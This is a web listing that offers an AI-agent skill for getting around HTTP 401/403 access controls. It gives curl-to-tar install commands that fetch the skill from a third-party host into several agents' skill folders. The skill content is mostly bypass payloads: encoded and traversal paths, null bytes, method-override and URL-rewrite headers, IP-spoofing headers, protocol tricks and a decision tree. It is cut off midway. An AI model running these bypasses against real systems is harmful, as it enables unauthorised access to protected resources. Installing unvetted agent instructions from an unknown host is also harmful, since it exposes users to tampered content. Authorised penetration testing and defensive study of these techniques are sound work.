401-403-bypass-techniques – Security skill for AI agents

Use when protected HTTP routes return 401 or 403.

SecuritySKILL.mdClaude Code · Codex · Hermes · DeepSeek

Install the 401-403-bypass-techniques skill with one command

Pick the tool you use, copy the command and paste it in your terminal. The skill lands in that tool's skills folder and is ready in your next session.

Claude Code

mkdir -p ~/.claude/skills && curl -fsSL https://skill.dn1nguoi.com/z/401-403-bypass-techniques-39842.tgz | tar xz -C ~/.claude/skills

Call it in Claude Code: /401-403-bypass-techniques – then describe the task you want done.

Codex

mkdir -p ~/.codex/skills && curl -fsSL https://skill.dn1nguoi.com/z/401-403-bypass-techniques-39842.tgz | tar xz -C ~/.codex/skills

Call it in Codex: $401-403-bypass-techniques – then describe the task you want done.

Hermes Agent

mkdir -p ~/.hermes/skills && curl -fsSL https://skill.dn1nguoi.com/z/401-403-bypass-techniques-39842.tgz | tar xz -C ~/.hermes/skills

Call it in Hermes Agent: /401-403-bypass-techniques – then describe the task you want done.

DeepSeek

mkdir -p ~/.deepcode/skills && curl -fsSL https://skill.dn1nguoi.com/z/401-403-bypass-techniques-39842.tgz | tar xz -C ~/.deepcode/skills

Call it in DeepSeek: /401-403-bypass-techniques – then describe the task you want done.

SKILL.md content

401/403 Bypass Techniques

A bypass candidate appears when two HTTP-processing layers (CDN, reverse proxy,

web server, framework) decide differently about the same request. The useful

signal is a change in routing or protected content, not a status code alone.

When to Use

A known route returns 401 Unauthorized or 403 Forbidden.
A reverse proxy, WAF, API gateway, or CDN sits in front of the application.
Frontend and backend normalize paths, methods, or headers differently.
IIS, Tomcat, Spring, Apache, Nginx, or WebDAV routing is visible.
Equivalent requests return different status, headers, or body, hinting at a routing differential.

Prerequisites

An HTTP client that preserves raw paths: curl --path-as-is or Burp Repeater.
A denied baseline request plus a marker for the expected protected content.
Optional tooling: byp4xx, dirsearch, feroxbuster, Burp Intruder, nghttp, nc.

How to Run

TARGET="https://target.example"
PATH_DENIED="/admin"
OUTDIR="${OUTPUT_DIR:-./output}/401-403"
mkdir -p "$OUTDIR"

# Denied baseline: record status, headers, and body for comparison.
curl -sS --path-as-is --max-time 10 \
  -D "$OUTDIR/baseline.headers" -o "$OUTDIR/baseline.body" \
  -w 'status=%{http_code} bytes=%{size_download} redirect=%{redirect_url}\n' \
  "$TARGET$PATH_DENIED"

# Compare candidates against the baseline.
curl -sS --path-as-is --max-time 10 -i "$TARGET/./${PATH_DENIED#/}"
curl -sS --path-as-is --max-time 10 -i -X OPTIONS "$TARGET$PATH_DENIED"
curl -sS --path-as-is --max-time 10 -i -H 'X-Forwarded-For: 127.0.0.1' "$TARGET$PATH_DENIED"

For each candidate, compare status, Location, body length, title, and a

protected-content marker against the baseline.

Procedure

1. Path Manipulation Bypasses

The core idea: the reverse proxy/WAF checks one path format, but the backend

normalizes differently. The ✓ marks request forms that commonly reach the

backend through a different route; a 200 alone is not proof of access (see

Verification).

1.1 Trailing Slash / Missing Slash

/admin      → 403
/admin/     → 200  ✓ (trailing slash)
/admin/.    → 200  ✓ (trailing dot)

1.2 Case Sensitivity

/admin      → 403
/Admin      → 200  ✓
/ADMIN      → 200  ✓
/aDmIn      → 200  ✓

Works when: proxy rule is case-sensitive but backend is case-insensitive

(common on Windows/IIS).

1.3 URL Encoding

/admin          → 403
/%61dmin        → 200  ✓ (encode 'a')
/admi%6e        → 200  ✓ (encode 'n')
/%61%64%6d%69%6e → 200  ✓ (full encode)

1.4 Double URL Encoding

/admin              → 403
/%2561dmin          → 200  ✓ (%25 = %, decoded twice: %61 → a)
/admin%252f         → 200  ✓
/admin..%252f       → 200  ✓

1.5 Unicode / UTF-8 Encoding

/admin          → 403
/admi%C0%AE     → 200  ✓ (overlong UTF-8 for '.')
/admi%C0%6E     → 200  ✓ (overlong UTF-8 for 'n')
/%C0%AFadmin    → 200  ✓ (overlong UTF-8 for '/')

Modern UTF-8 decoders reject overlong forms; these target legacy parsers and

mixed decoding chains.

1.6 Dot-Segment / Path Traversal

/admin          → 403
/./admin        → 200  ✓
//admin         → 200  ✓
/admin/./       → 200  ✓
/.//admin       → 200  ✓
/admin..;/      → 200  ✓ (Tomcat path parameter)

1.7 Null Byte

/admin          → 403
/admin%00       → 200  ✓
/admin%00.json  → 200  ✓
/%00/admin      → 200  ✓

Relevant to older native modules; modern managed runtimes usually reject

embedded NUL bytes.

1.8 Path Parameter Injection

/admin          → 403
/admin;foo=bar  → 200  ✓ (Tomcat/Java treats ; as path param)
/admin;         → 200  ✓
/admin;x        → 200  ✓

1.9 Trailing Special Characters

/admin%20 (space)  /admin%09 (tab)   /admin? (empty query)
/admin.json        /admin.html       /admin/~

1.10 Backslash (Windows/IIS)

/admin\    /admin\..\/    \..\admin

1.11 Combined Path Tricks

///admin///    /./admin/./    /admin/..;/admin (Tomcat)    /%2e/admin

2. HTTP Method Bypass

2.1 Direct Method Change

GET  /admin → 403
POST /admin → 200  ✓
PUT  /admin → 200  ✓
PATCH /admin → 200  ✓
DELETE /admin → 200  ✓
OPTIONS /admin → 200  ✓ (may leak allowed methods)
TRACE /admin → 200  ✓ (may reflect headers — XST)
HEAD /admin → 200  ✓ (bodyless response; does not by itself confirm access to the protected body)

2.2 Method Override Headers

When the proxy blocks by method, but the backend reads override headers:

GET /admin HTTP/1.1
X-HTTP-Method-Override: PUT

GET /admin HTTP/1.1
X-Method-Override: POST

GET /admin HTTP/1.1
X-HTTP-Method: DELETE

POST /admin HTTP/1.1
X-HTTP-Method-Override: PATCH
_method=PUT  (in POST body — Rails, Laravel)

2.3 Custom / Invalid Methods

FOOBAR /admin HTTP/1.1     → some ACLs only check GET/POST
GETS /admin HTTP/1.1       → typo-like methods may bypass
CONNECT /admin HTTP/1.1    → proxy may tunnel
PROPFIND /admin HTTP/1.1   → WebDAV method
MOVE /admin HTTP/1.1       → WebDAV method

3. Header-Based Bypass

3.1 URL Rewrite Headers (Reverse Proxy / IIS ARR)

These headers tell the backend the "real" URL, bypassing proxy-level path

checks:

GET / HTTP/1.1
X-Original-URL: /admin

GET / HTTP/1.1
X-Rewrite-URL: /admin

The proxy sees GET / (allowed), but the backend routes to /admin.

3.2 IP Spoofing Headers (Whitelist Bypass)

Headers to try (each with values 127.0.0.1, 10.0.0.1, 0.0.0.0, ::1):

X-Forwarded-For | X-Real-IP | X-Originating-IP | X-Remote-IP
X-Remote-Addr | X-Client-IP | True-Client-IP | Cluster-Client-IP
X-ProxyUser-IP | X-Custom-IP-Authorization | Forwarded: for=127.0.0.1

IP encoding variants: 0177.0.0.1 (octal), 2130706433 (decimal),

0x7f000001 (hex), localhost

3.3 Other Header Tricks

Referer: https://target.com/admin     # Referrer check bypass
Origin: https://target.com             # Origin check bypass
Host: localhost                         # Host header manipulation
X-Forwarded-Host: localhost            # Forwarded host
Content-Type: application/json         # Content-type switch
X-Requested-With: XMLHttpRequest       # AJAX flag

4. Protocol Version Bypass

# HTTP/1.0 (some ACLs only apply to HTTP/1.1)
GET /admin HTTP/1.0

# HTTP/0.9 (extremely legacy — no headers)
GET /admin

# HTTP/2 pseudo-header tricks
:method: GET
:path: /admin
:authority: target.com
# See the hunt-http-smuggling skill for H2-specific bypasses, including h2c upgrade.

5. Verb Tampering + Path Combination

Combine multiple techniques for higher success rate:

POST / HTTP/1.1                          # method override + URL rewrite
X-Original-URL: /admin
X-HTTP-Method-Override: GET

GET /%61dmin HTTP/1.1                    # IP spoof + path encoding
X-Forwarded-For: 127.0.0.1

GET /Admin HTTP/1.0                      # protocol + case + IP spoof
X-Forwarded-For: 127.0.0.1

6. Technology-Specific Bypasses

| Server | Key Tricks |

|---|---|

| Apache | /admin/ (trailing slash), /.admin (dot prefix), /admin%0d (CR) |

| Nginx | /Admin (case), /admin../ (normalization), X-Original-URL: /admin |

| IIS/ASP.NET | /admin;.css (path param+ext), /admin\ (backslash), /admin::$DATA (ADS), /admin%20 |

| Tomcat/Java | /admin;foo (path param), /admin..;/ (traversal), /;/admin (empty param) |

| Spring | /admin.anything (suffix matching, older), /admin/ (trailing slash) |

7. Automated Tools

| Tool | Purpose | URL |

|---|---|---|

| byp4xx | Comprehensive 403 bypass scanner | github.com/lobuhi/byp4xx |

| dirsearch | Directory brute-force with encoding variants | github.com/maurosoria/dirsearch |

| feroxbuster | Recursive content discovery | github.com/epi052/feroxbuster |

| Burp Intruder | Custom payload lists for manual testing | portswigger.net |

byp4xx usage

# Basic usage: attempts path, method, header, and protocol variants.
byp4xx -m 10 --rate 5 -xD "https://target.com/admin"

# Output shows all attempted bypasses and their response codes.
# Treat 200/301/302 rows as candidates; confirm each against the baseline.

8. Decision Tree

Got 401 or 403 on a path?
│
├── Try PATH MANIPULATION first (highest success rate)
│   ├── /path/      (trailing slash)
│   ├── /PATH       (case change)
│   ├── /path%20    (trailing space)
│   ├── /./path     (dot segment)
│   ├── //path      (double slash)
│   ├── /path;x     (path parameter — Java/Tomcat)
│   ├── /path..;/   (Tomcat specific)
│   ├── /%2e/path   (encoded dot)
│   ├── /path%00    (null byte)
│   ├── /path%23    (encoded hash)
│   └── Result? → status/body differ from baseline = candidate
│
├── Path tricks failed → Try METHOD BYPASS
│   ├── POST/PUT/PATCH/DELETE/OPTIONS
│   ├── HEAD (bodyless GET — verify body access separately)
│   ├── X-HTTP-Method-Override: PUT
│   └── TRACE (may reflect auth headers — XST)
│
├── Method tricks fai

… (full content is in the download package)

Related skills

accessibility-compliance-accessibility-audit – Audit pages and user journeys against a declared WCAG scope. Use when identifying…
accesslint-audit – Find and fix WCAG 2.2 accessibility issues. Two modes — report (sweep a codebase or…
accesslint-diff – Diff a live page's accessibility violations against a baseline — by default compares…
accesslint-scan – Audit a live page for accessibility issues, locate each WCAG violation precisely, and…
accounting-audit-system-builder – Routes an accounting or audit request to the right module skill, from software selection…
anti-reversing-techniques – Understand anti-reversing, obfuscation, and protection techniques encountered during…
bb-local-toolkit – Complete bug bounty workflow — recon (subdomain enumeration, asset discovery…
antinet-security-scan – 信息安全分析师与软件开发工程师在搭建文档处理流水线时，当需要拦截违规文件或外部URL，请挂载此技能作为强制前置安检，自动输出 pass/reject…

← Browse all skills